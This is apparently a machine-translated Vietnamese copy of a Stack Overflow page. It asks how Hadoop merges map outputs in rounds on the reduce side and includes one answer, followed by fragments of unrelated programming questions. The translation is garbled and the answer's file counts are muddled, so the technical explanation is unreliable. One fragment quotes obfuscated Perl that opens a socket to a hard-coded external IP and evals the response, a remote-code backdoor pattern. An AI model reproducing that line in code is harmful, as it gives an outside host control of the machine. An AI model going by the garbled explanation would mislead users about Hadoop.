30
4
Tôi gặp vấn đề với sự hiểu biết của mình về quy trình hợp nhất tệp ở phía rút gọn của Hadoop như được mô tả trong "Hadoop: The Definitive Guide" (Tom White). Để trích dẫn nó:
Khi tất cả các đầu ra bản đồ đã được sao chép, tác vụ rút gọn sẽ chuyển sang giai đoạn sắp xếp (đúng ra phải gọi là giai đoạn hợp nhất, vì việc sắp xếp được thực hiện ở phía bản đồ), giai đoạn này hợp nhất các đầu ra bản đồ, duy trì thứ tự sắp xếp của chúng. Việc này được thực hiện theo vòng. Ví dụ: nếu có 50 kết quả đầu ra bản đồ và hệ số hợp nhất là 10 (mặc định, được kiểm soát bởi thuộc tính io.sort.factor, giống như trong quá trình hợp nhất bản đồ), mỗi vòng sẽ có năm vòng. vòng sẽ hợp nhất 10 tệp thành một, vì vậy cuối cùng sẽ có năm tệp trung gian. Thay vì có vòng cuối cùng hợp nhất năm tệp này thành một tệp được sắp xếp duy nhất, việc hợp nhất sẽ tiết kiệm một chuyến đi vào đĩa bằng cách cung cấp trực tiếp chức năng rút gọn trong hàm. giai đoạn cuối: giai đoạn rút gọn. Sự hợp nhất cuối cùng này có thể đến từ sự kết hợp của các phân đoạn trong bộ nhớ và trên đĩa.
Số lượng tệp được hợp nhất trong mỗi vòng thực sự tinh tế hơn so với ví dụ này gợi ý. Mục tiêu là hợp nhất số lượng tệp tối thiểu để đạt được hệ số hợp nhất cho vòng cuối cùng. 10 tệp trong mỗi vòng trong số bốn vòng để có được 4 tệp. Thay vào đó, vòng đầu tiên sẽ chỉ hợp nhất 4 tệp và ba vòng tiếp theo sẽ hợp nhất toàn bộ 4 tệp đã hợp nhất và 6 tệp (chưa được hợp nhất). tổng cộng 10 tệp cho vòng cuối cùng Quá trình này được minh họa trong Hình 6-7. Lưu ý rằng điều này không thay đổi số vòng; nó chỉ là một sự tối ưu hóa để giảm thiểu lượng dữ liệu được ghi vào đĩa, vì vòng cuối cùng luôn hợp nhất. trực tiếp vào phần giảm.
Trong ví dụ thứ hai (với 40 tệp), chúng tôi thực sự nhận được vòng hệ số hợp nhất cuối cùng. Ở vòng thứ năm, 10 tệp không được ghi vào đĩa và trực tiếp bị thu nhỏ. Nhưng trong ví dụ đầu tiên, thực tế có 6 vòng chứ không phải 5. Trong mỗi vòng trong số năm vòng đầu tiên, 10 tệp được hợp nhất và ghi vào đĩa, sau đó ở vòng 6, chúng tôi có 5 tệp (không phải 10!) Sẽ trực tiếp giảm bớt. Tại sao? Nếu chúng ta bám sát "mục tiêu là hợp nhất số lượng tệp tối thiểu để đạt được hệ số hợp nhất trong vòng cuối cùng", thì đối với 50 tệp đó, chúng ta phải hợp nhất 5 tệp ở vòng đầu tiên và sau đó là 10 tệp ở mỗi vòng trong số 4 tệp tiếp theo. round, sau đó chúng tôi hợp nhất vào vòng thứ 6 cuối cùng với hệ số 10.
Lưu ý rằng chúng tôi không thể hợp nhất nhiều hơn 10 tệp trong mỗi vòng (được chỉ định bởi io.sort.factor cho cả hai ví dụ).
Tôi đã hiểu sai điều gì về ví dụ đầu tiên về việc hợp nhất 50 tệp?
câu trả lời hay nhất
Đó là cách tôi hiểu nó. Nếu bạn đọc kỹ, những điểm quan trọng cần nhớ là:
Lưu ý rằng điều này không thay đổi số vòng; nó chỉ là một sự tối ưu hóa để giảm thiểu lượng dữ liệu được ghi vào đĩa, vì vòng cuối cùng luôn hợp nhất trực tiếp vào phần rút gọn.
Có hoặc không có tối ưu hóa, số vòng hợp nhất vẫn giữ nguyên(5 trong trường hợp đầu tiên, 4 trong trường hợp thứ hai).
Trong cả hai trường hợp, số vòng hợp nhất được định cấu hình bằng cách đặt thành 10 mapreduce.task.io.sort.factor Quyết định.
Do đó, số vòng hợp nhất không thay đổi (cho dù việc tối ưu hóa đã hoàn thành hay chưa). Tuy nhiên, số lượng tệp được hợp nhất trong mỗi vòng có thể thay đổi (vì khung Hadoop có thể đưa ra một số tối ưu hóa để giảm số lượng tệp được hợp nhất và do đó số lượng bị tràn vào đĩa).
Vì vậy, trong trường hợp đầu tiên,Không tối ưu hóa,Nội dung của 50 tệp (được kết hợp thành 5 tệp cuối cùng) được đổ vào đĩa và các tệp được đọc từ đĩa, đang trong giai đoạn "giảm".
Trong trường hợp thứ hai,Sau khi tối ưu hóa, nội dung của 34 tệp (được hợp nhất thành 4 tệp cuối cùng) được tràn vào đĩa, các tệp này được đọc từ đĩa và 6 tệp chưa hợp nhất còn lại được đọc trực tiếp từ đĩa vào bộ nhớ đệm, đang trong giai đoạn "giảm".
Ý tưởng tối ưu hóa là giảm thiểu việc hợp nhất và tràn.
Về hadoop - Hiểu việc hợp nhất vào bên rút gọn trong Hadoop, chúng tôi đã tìm thấy một câu hỏi tương tự trên Stack Overflow: https://stackoverflow.com/questions/26015678/
30
4
0
Tôi đang cố gắng hiểu (>>=).(>>=) và những gì GHCi nói với tôi là: (>>=) :: Monad m => ma -> (a -> mb) -> mb (>> =). (>>=) :: Thứ hai
Tôi có câu hỏi sau đây liên quan đến mã Java này: public static void main(String[] args) { int A = 12, B = 24;
Đây có lẽ là một câu hỏi cơ bản ngu ngốc đối với cộng đồng này, nhưng tôi sẽ rất vui nếu ai đó có thể giải thích cho tôi, tôi rất bối rối về điều này. Tôi tìm thấy hướng dẫn này trực tuyến và đây là một ví dụ. hàm thể thao (x){
def count_sort(array, maxval): """sắp xếp đếm tại chỗ""" m = maxval + 1 count = [0
Tôi có một bộ sưu tập một số thuật toán sắp xếp và tôi muốn tìm hiểu chính xác cách thức hoạt động của nó. Mình hơi bối rối với một số hướng dẫn, đặc biệt là hướng dẫn cmp và jle nên mong được giúp đỡ. Tập hợp này sắp xếp một mảng gồm ba phần tử. 0,00 :
Trong khi đọc tài liệu PHP.net, tôi tình cờ gặp một vấn đề làm tôi hiểu sai về $this: class C { public function speak_child() { //
đóng cửa. Câu hỏi này không đáp ứng các nguyên tắc của Stack Overflow. Hiện tại nó không chấp nhận câu trả lời. Bạn muốn cải thiện vấn đề này? Câu hỏi được cập nhật để làm cho câu hỏi trở thành chủ đề cho Stack Overflow. Đóng cửa 7 năm trước Cải thiện điều này
Tôi có một số câu hỏi liên quan về pragma. Điều khiến tôi bắt đầu loạt câu hỏi này là cố gắng xác định xem liệu có thể vô hiệu hóa một số cảnh báo nhất định mà không cần phải lo lắng hay không. (Tôi vẫn muốn lo lắng, ít nhất là một chút!). Tôi vẫn quan tâm đến câu trả lời cho câu hỏi cụ thể đó
Tôi đang cố gắng xây dựng CNN bằng Torch 7. Tôi mới làm quen với Lua. Tôi đang cố gắng theo liên kết này. Tôi đã tìm thấy một thứ gọi là setmetatable trong khối mã sau: setmetatable(train).
Tôi có mã này use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; có vẻ như nhập thư viện nhưng
Tôi có đoạn mã sau cung cấp [2,4,6] : j :: [Int] j = ((\fx -> map x) (\y -> y + 3) (\z -> 2* z) ) [1,2,3] Tại sao? Có vẻ như chỉ sử dụng "
Tôi mới học Haskell và lập trình hàm bằng sách của Richard Bird và tình cờ thấy chữ ký kiểu (.) của một hàm. Đó là (.) :: (b -> c) -> (a -> b) -> (a -> c) và tương tự
Tôi đã xem qua andThen nhưng không hiểu đúng về nó. Để hiểu rõ hơn tôi đọc tài liệu Function1.andThen def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm là Mu
Đây là mã được sử dụng làm phụ lục cho URL của XMLHttpRequest. Nội dung hiển thị trong URL là: http://something/something.aspx?QueryString_from_b
Hãy xem xét đoạn mã sau tôi nhận được từ https://stackoverflow.com/a/28250704/460084 function getExample() { var a = Promise
Việc áp dụng toán tử list1:::list2 cho hai danh sách có tương đương với việc thêm toàn bộ nội dung của list1 vào list2 không? scala> val a = Danh sách (1,2,3) a: Danh sách [Int] = L
Trong python tôi sẽ viết: {a:0 for a in range(5)} để nhận được {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} Làm cách nào tôi có thể đạt được điều tương tự trong Hiệu ứng phi tiêu ? cho đến nay tôi
đóng cửa. Câu hỏi này cần được hỏi tập trung hơn. Câu trả lời không được chấp nhận vào thời điểm này. Bạn muốn cải thiện vấn đề này? Đã cập nhật câu hỏi để chỉ tập trung vào một vấn đề chỉnh sửa bài đăng này. Đã đóng 5 năm trước. Cải thiện truy vấn này
Tôi có tệp tạo sau: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar
Có ai có thể giúp hoặc hướng dẫn tôi cách hiểu hàm fmap trong cách triển khai sau không? data Rose a = a :> [Rose a] dẫn xuất (Eq, Show) instance Functor Rose
Trung tâm cá nhân
Điều phát hành
từ bỏ
Tôi là một lập trình viên xuất sắc, rất giỏi!